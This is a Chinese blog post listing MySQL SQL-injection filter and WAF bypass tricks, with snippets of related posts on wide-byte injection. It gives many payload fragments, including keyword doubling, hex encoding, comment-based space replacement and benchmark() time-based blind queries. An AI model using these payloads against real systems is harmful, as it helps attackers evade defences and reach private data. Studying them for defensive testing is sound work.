sql注入繞過整理(持續更新)

2021-09-29 21:56:56 字數 1960 閱讀 5621

本文主要以mysql資料庫為例,說明 sql注入繞過 方法。

資料庫查詢語句對大小寫是不敏感的,select 和 select 是定價的。

例如union被過濾為空時,以 uniunionon替代語句中的union,被過濾(僅過濾一次)之後,得到union。

例如遇到單引號過濾,可以將目標值轉化為十六進製制。

select column_name from information_schema.columns where table_name='tbl123';

替換為select column_name from information_schema.columns where table_name=0x74626c313233;

字串 轉為二進位制

and 'x'='x' ----> and 'x'=b'1111000'

仍以單引號過濾為例:

select id from `userdb`.`user` limit 1,1;

利用反引號替換了單引號。

內聯注釋:

select 1 union /*!select*/ 3;

字串擷取

mid(user(),2,1) ----> mid(user() from 2 for 1)

if語句中的逗號

原語句select if(1=1,sleep(5),0);

使用case when語句替換

select case when 1=1 then sleep(5) else 0 end;

2、等號過濾

like替換

and 'a'='a' ----> and 'a' like 'a'

正規表示式 regexp

select 1=1; ----> select 1 regexp '^1';

同義替換法

select 1 != 2; ----> select 1<>2;

3、order by 過濾

原語句:

select * from tbl123 order by 3 limit 1,1;

替換為:

select * from tbl123 limit 1,1 into @a,@b,@c;

變數(@b,@a,@c)個數即 字段個數。

4、空格繞過

括號替換

select(1)union(select/**/3);

注釋select/*23131232*/1/*999999*/union/*88888*/select/*000000*/3;

5、sleep過濾

對於時間盲注,使用benchmark函式替換, 執行 30000000 次函式 md5(『12345』)。

select benchmark(30000000, md5('12345'));

6、or 和 and 過濾

select 1 or 2; ----> select 1||2

select 1 and 2; ----> select 1&&2

類似的還有 xor

7、函式替換

version()過濾

select version(); ----> select @@version;

類似的還有:

group_concat() <–> concat() <–> concat_ws()

ascii() <–> hex() <–> bin()

in ----> between and

sql繞過注入

sql繞過注入我推薦在 這個官網上學習 下面是我在這個官網學習的乙個過程 order by 猜數字 union select 1,2,3,4,5,6,7,8,9,10 form admin 在這裡會報錯 因為需要繞過才能注入。因此需要在 上載入外掛程式 cookie 或者 modheader 都可以...

mysql注入轉義繞過 SQL注入防禦繞過

一 寬位元組注入 1 什麼是寬位元組 gb2312 gbk gb18030 big5等這些都是常說的寬位元組,實際為兩位元組 2 寬位元組注入原理 防禦 將 轉換為 繞過 將 消滅 mysql在使用gbk編碼的時候,會認為兩個字元為乙個漢字 編碼為 5c 編碼為 27 df 5c mysql會認為是...

mysql手工注入繞過 sql注入繞過WAF

這幾天的ctf題中有好幾道題都是sql注入的,但都存在waf需要繞過,於是整理了一些常見的繞過waf注入的方法。在現實sql注入中我們也常常碰到waf,那麼掌握常見的繞過很有必要。0x01 手工注入繞過 1 大小寫混合例如 union select 1,2,3,4 只適用於針對大小寫關鍵字的匹配 2...